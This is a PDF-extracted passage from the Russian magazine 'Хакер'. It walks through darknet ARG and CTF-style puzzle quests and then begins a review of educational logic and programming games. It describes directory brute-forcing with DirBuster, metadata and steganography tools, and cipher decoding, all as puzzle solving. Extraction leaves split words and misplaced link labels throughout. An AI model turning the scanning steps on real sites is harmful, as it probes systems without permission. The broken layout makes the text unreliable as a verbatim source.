зацеп ки и идут по сле ду выдуман ной авто рами исто рии. Клю чи при этом могут
попадать ся  как на спе циаль но раз верну тых для это го сай тах,  так и  в жиз ни:
нап ример, на пла катах, спря тан ных флеш ках, в записях на авто ответчик и так
далее.

По луча ется  эта кая  гигант ская  мно гополь зователь ская  голово лом ка,
которая сочета ет в себе ролевые и компь ютер ные игры, жур налист ские рас‐ 
сле дова ния, фан тасти ку и мис тику.

Вли яние ауди тории на исход ARG нас толь ко велико, что сюжет может пой‐ 
ти  по  неп редви ден ному  сце нарию,  завер шить ся  рань ше  вре мени  или  оста‐ 
новить ся на середи не.

Се год ня в раз вле катель ные ком мерчес кие про екты игра ют нес коль ко мил‐ 
лионов  человек  по  все му  миру.  Основные  дви жущие  силы  при  решении
ARG  —  это  любопытс тво,  любовь  к  голово лом кам,  желание  изу чать  крип‐ 
тогра фию  и  про верить  уро вень  собс твен ной  эру диции.  Ведь  если  ты  смо‐ 
жешь дой ти до финала, то ока жешь ся одним из нем ногих счас тлив чиков.

Ком мерчес ких ARG мно жес тво. Сре ди наибо лее нашумев ших:  ,
которая была частью кам пании вирус ного мар кетин га игры Halo 2, 

 и  , которые рек ламиро вали сери ал Lost, хорошо извес тная гей‐ 
мерам   по все лен ной Portal и дру гие.

I Love Bees
Lost Experi‐

ence Find 815
го лово лом ка

Ну а к нашей темати ке, конеч но, бли же все го Cicada 3301 и ARG по сери‐ 
алу Mr. Robot (мы под робно  ).пи сали о ней

В ЧЕМ РАЗНИЦА МЕЖДУ ARG, CTF И КВЕСТАМИ В СТИЛЕ CTF?
Вок руг  ARG  сфор мирова лись  целые  интернет‐сооб щес тва,  и  их  ряды  пос‐ 
тоян но  попол няют ся.  ИБ‐тусов ку  это  веяние  тоже  зат ронуло,  и  здесь  слу‐ 
чилось вза имное опы ление с дру гим популяр ным жан ром — сорев новани ями
типа  Capture  The  Flag  (под робнее  о  нем  —  в  статье  «

»). Резуль тат иног да называ ют deepweb puzzle, и по
исполне нию они вре мена ми ничуть не усту пают пол ноцен ным ARG.

CTF.  Как  взлом  стал
спор тивным сос тязани ем

От  ARG  такие  квес ты  отли чают ся  отсутс тви ем  мар кетин говой  сос тавля‐ 
ющей, а от CTF — отсутс тви ем чет кой орга низа ции. Учас тво вать мож но в оди‐ 
ноч ку или коман дой любого раз мера, нет ни при зов, ни очков, ни даже даты
завер шения.

Од нако отсутс твие заранее соб ранных команд не озна чает, что нет коман‐ 
дно го  решения  задач.  Чаще  все го  заин тересо ван ные  игро ки  объ еди няют ся
в  сооб щес тва  и  помога ют  друг  дру гу  со  слож ными  загад ками.  Про исхо дит
это на форумах, вики, саб редди тах, имид жбор дах и в груп повых чатах.

Нап ример,  саб реддит    пос вящен  сетевым  голово лом кам  в  целом.
Там каж дый жела ющий может поделить ся ссыл кой на неиз вес тный сооб щес‐ 
тву квест, внес ти свой вклад в решение активных заданий или наб рать ся опы‐ 
та из уже решен ных ARG.

r/ARG

Во обще  Reddit  в  пос леднее  вре мя  стал  пло щад кой  по  умол чанию
для любите лей  таких активнос тей. Его оби тате ли зачас тую пер выми находят
неп римет ные стра нич ки на прос торах дар кне та.

Рос сий ское  сооб щес тво  иссле дова телей  интерне та  (нет стал керов)  тоже
неод нократ но  натыка лось  на  очень  ори гиналь ные  квес ты,  упо мина ния
которых  не  было  на  Reddit.  Зачас тую  такие  вещи  обна ружи вают ся  спон‐ 
танно — ког да кто‐то про чесы вает дар кнет в поис ках новых инте рес ных ссы‐ 
лок.

Как  толь ко это про исхо дит,  сооб щес тво объ еди няет ся для решения най‐ 
ден ного  кус ка  боль шой  онлайн‐игры.  Кста ти,  я  говорю  «най ден ного  кус ка»,
потому  что  не  всег да  мож но  быть  уве рен ным,  ока жет ся  ли  веб‐стра ница
началом, середи ной или кон цом игры.

КВЕСТ СОФИИ
Нас тало  вре мя  поз накомить  тебя  с  некото рыми  квес тами  в  сти ле  CTF,
которые  заин тересо вали  наше  сооб щес тво  сво ей  слож ностью,  ори гиналь‐ 
ностью  и  кра сотой  исполне ния.  По  одно му  из  них  прой дем ся  от  начала
до кон ца, то есть до получе ния завет ного фла га. Квест нед линный, но по нему
в  целом  понят но,  с  чем  при ходит ся  стал кивать ся  при  про хож дении.  А  по
дороге  соберем  неболь шую  под борку  ути лит,  которые  помога ют  искать
решение.

Часть 1
На чина ется  все  как  обыч но  —  кто‐то  находит  .  Она  при над‐ 
лежит  Sophie,  и  мимо  это го  ресур са  вряд  ли  прой дешь  не  заин тересо вав‐ 
шись.

веб‐стра нич ку

Стар товая стра ница

На  глав ной рас положен hex‐код,  под  ним  висит  кар тинка  с  инь‐ян,  в  самом
низу стра ницы — бинар ный код, а на фоне игра ет стран ная мелодия под наз‐ 
вани ем whiterabbit.

Пер вое,  что  дол жно  при ходить  на  ум  иссле дова телю  подоб ного  рода
ресур сов, — незамед литель но гля нуть HTML‐код стра ницы, не обра щая вни‐ 
мания  на  то,  что,  казалось  бы,  оче вид но  для  глаз.  Обыч но  имен но  в  коде
скры вают ся  либо  под сказ ки,  либо  бес смыс ленные  ком мента рии  раз работ‐ 
чиков, а иног да и сами ссыл ки на сле дующий уро вень.

В  нашем  слу чае  в  кон соли  раз работ чика  пря чет ся  ссыл ка  на  про филь
авто ра на сай те  .blackhatworld

Кон соль раз работ чика

Blackhat Sophie

Так же мож но заметить малень кую под сказ ку: Does only webpages have meta
data?  Оче вид но,  что  вни мание  необ ходимо  будет  нап равить  на  поиск
метадан ных в кар тинке.

Инь‐ян

Что  мы  и  сде лаем  с  помощью  ресур са  .  Получа ем  EXIF  (дан ные
камеры)  и метадан ные  (XMP).  Так же  для  чте ния метадан ных мож но  исполь‐ 
зовать  .

Exif  Regex

Metadata2go

EXIF

XMP

Те перь мы можем узнать  кое‐что об изоб ражении. Нап ример,  как на скрин‐ 
шоте  выше.  Ста новит ся  ясно,  что  соз дателя  зовут  Sophie,  про жива ет  она
в  Иркут ске,  но  боль ше  все го  удив ляет  строч ка  Source  из  метадан ных:
«Комитет государс твен ной безопас ности (КГБ)». Кажет ся, это намек на слу хи
о том, что спец служ бы исполь зуют ARG для вер бовки самых спо соб ных игро‐ 
ков.

Не  обра щаем  на  это  вни мания  и  перехо дим  к  рас шифров ке  hex‐кода.
Ищем любой под ходящий   и рас шифро выва ем. На выходе
получа ем пол ностью чита емый текст.

де кодер hex to text

Decrypt hex to text

Од нако до сих пор нам не уда лось най ти дей стви тель но полез ной информа‐ 
ции. Опыт ные игро ки, которые уже учас тво вали в решении квес тов, зна ют, что
у  загад ки  иног да быва ют  раз ные решения,  некото рые из  них  нароч но  ведут
в тупики. Это как раз такой слу чай.

Вос поль зуем ся  ути литой    со  спис ком  дирек торий  для  сер вера
Apache.  Она  переби рает  популяр ные  наз вания  дирек торий  и  фай лов
веб‐при ложе ний,  пыта ясь  най ти  скры тые  катало ги  и  сай ты.  Пос ле  ска ниро‐ 
вания  обна ружи ваем  скры тую  дирек торию  .  Заходим  в  нее
и видим ссыл ку.

DirBuster

/server‐status

Ссыл ка на сле дующую часть

Часть 2
На дру гом ресур се видим толь ко фото, без каких‐либо объ ясне ний. Вооб ще
про объ ясне ния в квес тах сто ит забыть: орга низа торы пред почита ют хра нить
завесу тай ны и лиш него сло ва не про ронят — все ради того, что бы подог реть
твой  инте рес.  Собс твен но,  обста нов ка  таинс твен ности —  это  глав ная  при‐ 
чина, почему такие квес ты час то рас полага ются в .onion.

Од на из час тей квес та

От кры ваем  кон соль  в  бра узе ре,  не  обна ружи ваем  в  коде  стра ницы  ничего
инте рес ного,  поэто му  будем  работать  с  фотог рафи ей.  Ска чива ем  кар тинку
с Наполе оном и смот рим в тек сто вом пред став лении (мож но в hex‐редак торе
или обыч ном блок ноте). Сра зу видим в самом низу докумен та нес коль ко тек‐ 
сто вых стро чек.

Кар тинка в виде тек ста

Ключ —  .  Пос кри пев  моз гами,  понима ем,  что  —  это  кусок  ссыл ки.
Про буем  под ста вить  в  качес тве  наз вания  фай ла  .html  и  получа ем 

 на сле дующий этап.

recital
ра бочую

ссыл ку

Часть 3
На   про екта рас положи лись часы и непонят ный шифр.пос ледней стра нице

Time to hack

Что с ним делать? Смот реть вни матель но в код. Видим, что часы кли кабель‐ 
ны, и получа ем еще одну под сказ ку.

Под сказ ка

Сра зу сопос тавля ем две кар тинки и получа ем конеч ный шифр:  .LQCRJGLNPG

Со пос тавля ем два изоб ражения

Для  получе ния  конеч ного  резуль тата  загоня ем  шифр  в  ути литу 
и методом замен получа ем конеч ный ответ:  .

dCode
wonderland

Этот  квест дав но прой ден и завер шен, но сай ты все еще активны. Ходят
слу хи, что квест был соз дан ради пиара форума BlackHatWorld.

Продолжение статьи →



ИГРЫ С НЕВЕДОМЫМ
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GEEK  НАЧАЛО СТАТЬИ←

ПОДОЗРИТЕЛЬНЫЙ FTP И СТЕГАНОГРАФИЯ
Од нажды,  иссле дуя  зако улки Onion,  я  нат кнул ся  на  ,  на  котором
лежал WAV‐файл. Меня, как любите ля квес тов, это заин три гова ло, и я при нял‐ 
ся искать скры тую информа цию.

FTP‐сер вер

Сов сем оди нокий WAV

Так я и поз накомил ся с редак тором  . Откры ваем файл в нем и смот‐ 
рим на спек трог рамму.

Audacity

Спек трог рамма это го WAV‐фай ла из Audacity

На  скрин шоте  выше  вид но,  что  в  фай ле  скры ты  непонят ные  сим волы:  .
Чес тно  говоря,  я до сих пор не знаю,  что они зна чат,  хотя натыкал ся на них
еще нес коль ко раз.

USI

К  при меру,  1  декаб ря  в  Tor  был  най ден  еще  один  похожий  FTP‐сер вер,
на котором так же лежали три кар тинки.

Са ми фай лы внеш не пред став ляют собой неч то необыч ное: на всех трех кар‐ 
тинках на фоне вид но циф ры  , на одном из таких изоб ражений отчетли во
замет ны уже зна комые сим волы  .

1999
USI

They Will Know

Мне  было  любопыт но,  пос коль ку  я  с  таким  стол кнул ся  впер вые.  Поэто му  я
переби рал все воз можные вари анты под хода к решению. Но чем боль ше ути‐ 
лит было исполь зовано, тем понят нее ста нови лось, что это ни к чему не при‐ 
ведет. Все оче вид ные и прос тые пути решения не помог ли.

Здесь мы плав но перехо дим к ути литам для поис ка скры тых дан ных в изоб‐ 
ражени ях. Нап ример, есть   — она прос та и лег ка в исполь зовании,
поэто му подой дет для началь ного ана лиза. Эта же ути лита помога ет находить
отли чающиеся  пик сели  в  двух  изоб ражени ях.  Увы,  в  нашем  слу чае  ничего
явно она не показа ла.

Stegsolve

Еще  я  вос поль зовал ся  .  Она  помога ет  как  зашиф ровать  любой
текст внут ри изоб ражения, так и понять, есть ли внут ри гра фичес ких фай лов
что‐нибудь  инте рес ное.  Для  дешиф ровки  нуж на  фра за‐пароль,  и  тут  вари‐ 
антов  не очень мно го.  У  нас  есть  стро ки    и  ,  оста ется  поп робовать
раз ные их сочета ния.

Steghide

1999 USI

Скры тые в изоб ражени ях тек сто вые фай лы

Ура! Вари ант   подошел, извле каем из каж дой кар тинки по тек сто вому
фай лу. Каж дый зашиф рован дру гим алго рит мом.

1999USI

Не  буду  оста нав ливать ся  на  том,  как  я  опре делял  шиф ры,  ска жу  лишь,  что
сле ва  текст  закоди рован  при  помощи  AER‐256.  По  цен тру,  как  нес ложно
догадать ся из перевер нутого два раза сло ва Polybius, шифр Полибия (он же
квад рат Полибия). А спра ва — Base36.

Зная  алго рит мы,  нет рудно  рас шифро вать  и  текст.  Для  AER‐256  исполь‐ 
зуем    с  огромным  выбором  алго рит мов.  Квад рат  Полибия  —  одна
из самых древ них сис тем кодиро вания. Здесь исполь зует ся прос тая замена,
и никаких слож ностей  тут не воз никло — дос таточ но  ука зать 

. Base36 декоди руем уже с помощью зна комо го нам ресур са  .

ре сурс

Polybius‐square
decrypt dCode

Congratulations!

Те перь  мы  можем  соб рать  воеди но  три  обрывка  адре са  сай та  в  .onion.
Перехо дим  по  нему  и  ока зыва емся  на  стра нице  с  еще  одной  кар тинкой
и стран ным тек стом.

USI

Сте ганог рафия, похоже, бес силь на перед треть им изоб ражени ем. На Reddit,
к сло ву,  , где изоб ражения с сим волами USI были выложе ны
в пост с двад цатью дру гими, которые, на мой взгляд, к делу никак не отно сят‐ 
ся. Все они были най дены перебо ром спис ка хид денсер висов на бес плат ном
дар кнет‐хос тинге  Daniel’s  Hosting.  Соот ветс твен но,  никакой  информа ции
об их свя зи или тем более поряд ке сле дова ния у нас нет.

есть обсужде ние

INFO

  был  круп ней шим  бес плат ным
хос тинг‐сер висом  в  дар кне те.  Почему  был?
25  мар та  2020  года  про ект  окон чатель но  зак‐ 
рылся.

Daniel’s  Hosting

Это  дает  отве ты  на  воз можные  воп росы  о  несов падении  ссы лок  на  моем
канале про нет стал кинг  « »  и  в  статье,  а  так же  на  воп рос,
почему  недос тупна  та  или  иная  ссыл ка.  Я  был  вынуж ден  под нять  ски нутые
Дани элем архи вы на дру гом хос тинг‐сер висе, что бы к ним был хоть какой‐то
дос туп пос ле зак рытия хос тинга. К сожале нию, из‐за нес табиль нос ти работы
хос тинг‐сер висов в Tor ресур сы дос тупны не всег да.

Го ризонт Событий

Ка жет ся, что на этом все и закан чива ется, так и не поведав нам о сак раль‐ 
ном  смыс ле  .  Но  в  этот  же  день  слу чай ным  обра зом  мне  попал ся
на гла за еще один   с шестью ауди оза пися ми.

1999USI
FTP‐сер вер

Без Audacity здесь не обой тись

Спек трог рамма всех WAV‐фай лов показы вает очень инте рес ные вещи.

1999.07.04

BioHazard

Не  буду  при водить  все  изоб ражения,    можешь  пос мотреть
в моем канале.

под робнос ти

Вот  и  циф ры  1999  всплы ли!  Но  что  про изош ло  4  июля  1999  года?  Что
вооб ще это зна чит? У меня, к сожале нию, нет мне ния на этот счет. Вот, нап‐ 
ример,  на  сай те минис терс тва  инос тран ных  дел Индии есть 

, в котором упо мяну та эта дата.
за нима тель ный

текст
К  сожале нию,  квест  не  прой ден  и  ско рее  все го  уте рян  вмес те  с Daniel’s

Hosting. Кро ме  , он не упо мина ется ниг де в клир нете.пос та на Reddit
И это тоже показа тель но: не все загад ки, которые ты най дешь в интерне те,

получит ся раз гадать.

ПОДДЕЛКИ ПОД «ЦИКАДУ»
Ты навер няка слы шал про Cicada 3301 — зна мени тый и широко мас штаб ный
хакер ский квест, орга низа торы которо го так и оста лись неиз вес тны ми (если
не  слы шал —  смот ри  врез ку  ниже).  Популяр ность  и  загадоч ность  «Цикады»
сде лала ее прив лекатель ной мишенью для ими тации.

Cicada 3301
Бе лые бук вы на чер ном фоне гла сили: «Мы ищем очень умных людей. Что бы
най ти их, мы раз работа ли тест. В этой кар тинке спря тано сооб щение. Най ди
его, и оно ука жет дорогу, ведущую к нам. Мы будем рады встре тить тех нем‐ 
ногих, что дой дут до кон ца. Уда чи!» В кон це сто ит под пись: 3301.

Пер вое пос лание «Цикады»

Ори гинал  это го  сооб щения  появил ся  в  янва ре  2012  года  на  ано ним ном
форуме 4chan и сумел прив лечь к себе боль шое вни мание. Как и задумы вали
его  неведо мые  авто ры,  по  сле ду  немед ля  пус тились  те  самые  умные  люди.
Кто‐то из них дошел до цели и, пред положи тель но, при соеди нил ся к груп пе,
име нуемой Cicada 3301. Но что это за груп па и чем она занима ется, пока что
оста ется  тай ной. Все,  что мы зна ем, — это рас ска зы  тех,  кто сбил ся с пути
и не про шел задание до кон ца.

Под робнос ти этой исто рии  ты можешь най ти в статье «Загад ка Цикады»,
опуб ликован ной  в  .  С  тех  пор
«Цикада» себя не про явля ла... по край ней мере, нас толь ко замет но.

184‐м  номере  «Хакера»  за  май  2014  года

21  мар та  неиз вес тный  юзер  прис лал  в  телег рам‐чат    нес коль ко
сооб щений, написан ных азбу кой Мор зе, и изоб ражение с QR‐кодами.

secinfosec

Со обще ния от юзе ра

Вско ре  сооб щения были  уда лены,  но  это  не  помеша ло их  изу чить  (спа сибо
при выч ке пересы лать в избран ное). По сво ей сути код Мор зе здесь — рас‐ 
шифро ван ные  QR‐коды  с  при ложен ного  изоб ражения,  это  мож но  понять,
отска ниро вав  их  любым  ска нером.  Рас шифру ем  мор зянку  с  помощью 

 в обыч ный текст и получим нев нятную стро ку.
пе‐ 

ревод чика

APKWJJWTZQJYJMYYUX://AFUU.HTR.000BJGMTXY

Рас шифро ван ное сооб щение

По  сим волам  дво ето чия  и  обратно го  сле ша  ста новит ся  понят но,  что
это  ссыл ка.  Поэто му  стро ку  необ ходимо  рас шифро вать  еще  раз,  но  при‐ 
меняя уже  . На выходе получа ем дру гую строч ку.шифр Цезаря

VKFREEROULETEHTTPS://VAPP.COM.000WEBHOST

Воз можно,  даль ше  что‐то  и  мож но  сде лать,  но  зачем?  Рек лама,  скры тая
в  двух  шиф рах,  не  пред став ляет  никако го  инте реса  для  иссле дова теля,
а  исполь зовать  чужое  любопытс тво  в  корыс тных  целях  нек расиво.  Хотя
не исклю чено,  что это  чья‐то сфаб рикован ная от боль шого без делья шут ка.
Этот  при мер  показы вает,  нас коль ко  все‐таки  темати ка  ARG  при жилась
в общес тве. Не ловись на оче ред ную «цикаду»!

ВЫВОДЫ
Вот  мы  и  поз накоми лись  с  парой‐трой кой  квес тов‐паз лов  и  при ема ми,
которые  помога ют  их  про ходить.  Cicada  3301  начала  эту  инте рес ную  моду,
и встре тить нерешен ные задач ки сей час впол не реаль но. Кста ти, и соз давать
свои квес ты тоже не менее увле катель но, чем про ходить их!

INFO

Ре шив шись делать что‐то свое, подумай над кон‐ 
цовкой.  Преж де  все го  ответь  на  воп рос  «Что  я
могу дать сооб щес тву?». Так ты сэконо мишь вре‐ 
мя людей, которые им дорожат.

И  соз датель,  и  игрок  в  ито ге  отта чива ют  свои  скил лы  в  крип тогра фии,  сте‐ 
ганог рафии  и  в  дру гих,  иног да  самых  неожи дан ных  областях.  И  это  уже
не  говоря  о  том,  что  по  увле катель нос ти  с  такими  игра ми  ред ко  что  срав‐ 
нится.  Лич но  для  меня  было  совер шенно  бес ценно  уви деть  на  спек трог‐ 
рамме слу чай ного зву ково го фай ла зна чок биоло гичес кой угро зы.

Что  до  полез ных  ути лит,  то  вла дение  ими,  бес спор но,  помога ет
при  решении,  но  иног да  они  абсо лют но  бес полез ны.  Так,  я  какое‐то  вре мя
ска ниро вал  на  скры тые  дирек тории  чуть  ли  не  каж дый  попав ший ся  ресурс
в дар кне те. При решении ARG или квес тов в сти ле ARG гораз до цен нее эру‐ 
диро ван ность и нешаб лонное мыш ление.

WWW

В кон це я хотел бы поделить ся вся кими любопыт‐ 
ными вещами, которые по той или иной при чине
не вош ли в статью.

  (оче ред ная  отсылка
к Mr. Robot)

•Статья  о  решении  пер вой  час ти  недос тупно го
сей час  квес та  WhiteRose

•Пост в канале о голово лом ке Tyche5765
•Еще один пост с голово лом кой

 c   загад кой GRTSK•Пост из вес тной на Reddit
•Один  из  круп ней ших  англо языч ных  ресур сов
о событи ях в мире ARG

•Чат с решени ями и обсужде нием
•Ка нал,  в  котором  я  пуб ликую  най ден ные  в  Tor
квес ты



В КОМПЬЮТЕР

ИГРЫ

ОБЗОР ИГР, КОТОРЫЕ НЕ ТОЛЬКО
РАЗВЛЕКУТ, НО И ОБУЧАТ ВАЖНЫМ

НАВЫКАМ

faberge
Цифровыхъ дѣлъ мастеръ
fabulous.faberge@yandex.ru

GEEK

Ес ли ты чита ешь эти стро ки, у нас для тебя
хорошие  новос ти:  ты  пока  еще  не  умер
от  сам‐зна ешь‐какого  вируса!  Из  пло хих
новос тей  —  тебя,  ско рее  все го,  уже  поп‐ 
росили  само изо лиро вать ся  и  соб людать
каран тин,  работая  из  дома.  Сидеть
в четырех сте нах невыно симо уны ло, поэто‐ 
му, что бы не стра дать от ску ки, самое вре‐ 
мя раз мять моз ги инте рес ными задач ками.
Тем более что тут у нас отличный спи сок!

Преж де чем перей ти непос редс твен но к обзо рам, дол жен пре дуп редить тебя
о паре вещей. Здесь точ но не будет «топовых», мас штаб ных игр с огромны ми
бюд жетами.  И  вов се  не  потому,  что  мы  тут  в  «Хакере»  их  по  каким‐то  при‐ 
чинам  не  любим. Прос то,  как  пра вило,  такие  игры  пред назна чены  для мас‐ 
совой ауди тории. А ожи дать от сред неста тис тичес кого гей мера прод винутых
зна ний в области информа тики и компь ютер ных тех нологий все‐таки не при‐ 
ходит ся.

По это му игро вые механи ки таких популяр ных игр соз натель но упро щают‐ 
ся, что бы потен циаль ный пот ребитель, стол кнув шись с непонят ными для него
вещами, лиш ний раз не впа дал во фрус тра цию и не расс тра ивал ся. В худ шем
слу чае такой под ход вырож дает ся в при митив ное Press X to hack. Рис куя нав‐ 
лечь  на  себя  гнев  скрипт‐кид ди  (для  которых  подоб ное  положе ние  вещей
пред став ляет ся  впол не естес твен ным), мы все же исклю чили  такие про екты
из нашей под борки.

Од нако  это  не  зна чит,  что  далее  тебя ждут  исклю читель но  «хар дкор ные»
игры.  Мы  пос тарались  соб рать  сба лан сирован ный  спи сок,  который  был  бы
инте ресен  прог раммис там  и  хакерам  с  раз ным  уров нем  под готов ки.  Клю‐ 
чевой момент — хоть какие‐то базовые зна ния пот ребу ются в любом слу чае.
«Пер вому игро ку при гото вить ся!»

MHRD
 Funghisoft• Раз работ чик:

 январь 2017 года• Да та выхода:

 толь ко англий ский• Язы ки:

 250 руб лей (Steam)• Це на:

  , • Где купить: Steam itch.io

Об  этой  игре  нам  уже  напоми нали  читате ли  в  ком мента риях  к  статье
про  осно вы  циф ровой  схе мотех ники.  Дей стви тель но,  офор млен ная  в  рет‐ 
рости лис тике,   пред лага ет игро ку при мерить на себя роль инже нера —
раз работ чика циф ровой логики и даже соб рать пол ноцен ный 16‐бит ный про‐ 
цес сор  (в  качес тве  такого  сво еоб разно го  «финаль ного  бос са»).  Вне  вся ких
сом нений,  соз датели  игры  вдох новля лись  исто рией  ком паний —  пионе ров
Крем ниевой долины (тут даже есть нес коль ко не самых оче вид ных, но забав‐ 
ных шуточек о семиде сятых).

MHRD

MHRD  соз натель но  выводит  за  скоб ки  струк туру  и  прин цип  дей ствия  тран‐ 
зисто ра —  клю чево го  эле мен та  любой сегод няшней циф ровой схе мы. Если
физика  про цес са,  рав но  как  и  переме щение  дырок  и  элек тро нов  в  полуп‐ 
ровод никах  тебя  мало  инте ресу ют,  сме ло  можешь  ста вить  плю сик  игре.
Вмес то  это го  MHRD  кон цен три рует ся  на  уров не  кон крет ных  эле мен тов  —
вен тилей И, ИЛИ, НЕ и про чих.

При дер жива ясь логики изло жения мно гих учеб ников, игра пос ледова тель‐ 
но про водит тебя от базовых опе раций к бло кам муль тип лексо ра и триг гера,
а  от  них —  к  дешиф ратору  команд,  регис трам  и  АЛУ,  клю чевым  эле мен там
про цес сора. При этом MHRD луч ше обыч ных учеб ников бла года ря инте рак‐ 
тивнос ти:  каж дую  схе му  пред сто ит  не  толь ко  син тезиро вать  из  уже  готовых
бло ков  с  помощью  внут рииг рового  HDL  ( ),
но еще и допол нитель но верифи циро вать — успешно прог нать через набор
тес тов.

Hardware  Description  Language

Иг ра  обла дает  минима лис тичным  интерфей сом  и  прак тичес ки  пол ностью
тек сто вая. Рас счи тывать на гра фичес кое пред став ление циф ровых вен тилей
на экра не тут не при ходит ся. Вмес то это го для боль шего пог ружения в про‐ 
цесс и эпо ху игро ку пред лага ется исполь зовать бумагу и каран даш и чер тить
схе мы по эту сто рону монито ра. И поверь, на деле это  гораз до увле катель‐ 
нее,  чем зву чит на сло вах  (рекомен дуем бумагу‐мил лимет ровку и  каран даш
с мяг ким стер жнем для наилуч шего резуль тата).

Про хож дение MHRD отлично сочета ется с чте нием какой‐нибудь литера‐ 
туры о циф ровых схе мах. Можешь, кста ти, начать с   в нашем жур‐ 
нале!  В  самой  игре  под ска зок  и  пояс нений  нем ного,  встро енной  справ ки
тоже нет, поэто му пол ностью прой ти игру без пос торон ней помощи смо жет
раз ве  что  раз работ чик  на  ПЛИС  или  тот,  у  кого  соот ветс тву ющий  курс  был
недав но в учеб ной прог рамме.

цик ла ста тей

Ре игра бель ность  и  допол нитель ный  инте рес  обес печива ет  внут ренний
рей тинг, который учи тыва ет «сто имость» каж дой схе мы в логичес ких эле мен‐ 
тах.  Порой  опти миза ция  решения  пред став ляет  собой  куда  более  слож ную
задачу,  так  что  поломать  голову  тут  есть  над  чем.  Осо бое  удо воль ствие —
най ти минималь ную  схе му  для финаль ного  вари анта  про цес сора. Не будем
пор тить сюр приз, но там точ но есть чему уди вить ся!

Ес ли  говорить  о  минусах  игры,  то  их  нем ного  и  сущес твен ными  их  наз вать
слож но. Да, тут нет никако го зву ково го соп ровож дения, за исклю чени ем мер‐ 
ного  гула  вен тилято ров  и  кла цанья  механи чес кой  кла виату ры  (но  музыку  ты
всег да можешь подоб рать свою). Сюжета и пер сонажей в MHRD тоже прак‐ 
тичес ки нет, хотя для голово лом ки это, навер ное, и не кри тич но.

На мой взгляд, основной недос таток игры в том, что поч ти все схе мы тут
стан дар тные,  клас сичес кие.  А  ведь  на  циф ровой  логике  мож но  собирать
не толь ко ком понен ты цен траль ного про цес сора, но и куда более спе цифич‐ 
ные перифе рий ные устрой ства. Было бы здо рово уви деть в игре задания и с
ними. Кро ме  того, в MHRD не хва тает режима песоч ницы,  где игрок мог бы
экспе римен тировать с собс твен ными схе мами.

В нашем спис ке игр нет ито говых бал лов и тра дици онно го рас пре деле ния
по мес там. Резуль тат фор мулиру ется про ще: мож но эту игру рекомен довать
или нет. И MHRD однознач но рекомен довать мож но!

SILICON ZEROES
 PleasingFungus Games• Раз работ чик:
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На  пер вый  взгляд,  у    и  MHRD  мно го  обще го.  Дей стви тель но,
сно ва игра‐голово лом ка по мотивам циф ровой схе мотех ники, сно ва стар тап
из Крем ниевой долины и сно ва цель соб рать цен траль ный про цес сор. Одна‐ 
ко при более близ ком озна ком лении ока зыва ется, что сходс тва меж ду дву мя
игра ми на этом закан чива ются и даль ше идут сплош ные раз личия. Рас смот‐ 
рим их под робнее.

Silicon  Zeroes

Во‐пер вых, Silicon Zeroes — игра с сим патич ным гра фичес ким интерфей сом.
И циф ровые бло ки, и соеди нитель ные сиг налы меж ду ними тут име ют впол не
наг лядное  визу аль ное  пред став ление.  Рабочая  область  в  каж дом  задании
огра ниче на, но внут ри нее игрок может самовы ражать ся сво бод но, и это при‐ 
ятно.  Если  суровые,  аске тич ные  скрин шоты  MHRD  тебя  отпугну ли,  то  этот
момент точ но пораду ет.

При этом сам интерфейс слег ка разоча ровы вает. Соз дает ся впе чат ление,
что его про екти рова ли под мобиль ные плат формы и сен сорное управле ние,
на экра не компь юте ра эле мен ты выг лядят несураз но боль шими и рас положе‐ 
ны слиш ком далеко друг от дру га. И да, тут дос тупен режим песоч ницы.

Во‐вто рых,  в  Silicon  Zeroes  неожи дан но  есть  пер сонажи,  сюжет  и  даже
некото рая  про изводс твен ная  дра ма!  Вмес то  того  что бы  маячить  едва  уло‐ 
вимы ми приз раками где‐то на перифе рии соз нания, как в MHRD, здесь кол‐ 
леги не толь ко охот но делят ся с тобой полез ными све дени ями, но и обсужда‐ 
ют  про исхо дящие  внут рииг ровые  события.  Не  то  что бы  это  было  очень  уж
инте рес но, но вся ко луч ше, чем ничего.

На конец,  в‐треть их,  —  и  это  клю чевое  отли чие —  авто ры  Silicon  Zeroes
решили отой ти от тра дици онно го пред став ления циф ровых бло ков на осно ве
булевой логики. Это дос таточ но важ ный нюанс, на котором сто ит оста новить‐ 
ся под робнее. Здесь вхо ды, выходы и сиг наль ные линии на схе мах опе риру ют
не  дво ичны ми  зна чени ями  (нулем  и  еди ницей),  а  чис лами  вооб ще.  Более
того,  бли же  к  середи не  игры  вво дит ся  допол нитель ный  внут рииг ровой
«тип» — коман да (код опе рации), который почему‐то чис лом не явля ется (но
мы‐то зна ем, что это тоже чис ло).

При чины  такого  решения  понять,  вооб ще  говоря,  труд но.  Мож но  пред‐ 
положить,  что  соз датели  хотели  избе жать  дво ично го  пред став ления  чисел
и таким обра зом рас ширить целевую ауди торию за счет тех, кто уме ет толь ко
в  десятич ное  пред став ление.  На  деле  такое  «упро щение»  ока зыва ет  мед‐ 
вежью услу гу — схе мы в игре очень быс тро перес тают быть даже отда лен но
похожи ми  на  «клас сичес кие».  Какую  поль зу  может  вынес ти  для  себя  игрок
в Silicon Zeroes — воп рос оста ется откры тым.

Та ким  обра зом,  как  голово лом ка  игра  впол не  име ет  пра во  на  жизнь.  Тем
более что в опре делен ный момент в схе мах появ ляет ся допол нитель ный эле‐ 
мент  слож ности  —  задер жка  рас простра нения  сиг нала.  Его  не  было,  нап‐ 
ример, в MHRD, и, навер ное, подоб ную игро вую механи ку сто ило бы вся чес‐ 
ки  при ветс тво вать,  но…  Ито говый  резуль тат  к  реаль ному  железу  не  име ет
никако го отно шения.

Ре комен довать Silicon Zeroes в качес тве пособия по схе мотех нике слож но.
Вмес то того что бы рас ска зать об этом «как есть» или при думать ори гиналь‐ 
ную  кон цепцию  (как  далее  в  TIS‐100),  авто ры  выб рали  про межу точ ное
решение и вве ли допол нитель ный слой абс трак ций. Зачем — непонят но.

TIS-100
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 — игра  уни каль ная  во  всех  аспектах.  Что бы  это  понять,  в  нее  даже
необя затель но  играть,  дос таточ но  почитать  отзы вы,  в  которых  про фес‐ 
сиональ ные  прог раммис ты  делят ся  сво ими  вос торжен ными  впе чат лени ями
от самого про цес са прог рамми рова ния. Это при мер но буд то даль нобой щик
с двад цатилет ним водитель ским ста жем взах леб всем рас ска зыва ет, как про‐ 
шел его оче ред ной рейс. Ког да пов торя ешь что‐то изо дня в день, даже инте‐ 
рес ные вещи быс тро прев раща ются в рутину.

TIS‐100

TIS‐100 очень самобыт на. Если попытать ся сло вами опи сать игро вой про‐ 
цесс,  то наибо лее близ ким будет:  «это прог рамми рова ние рас пре делен ной
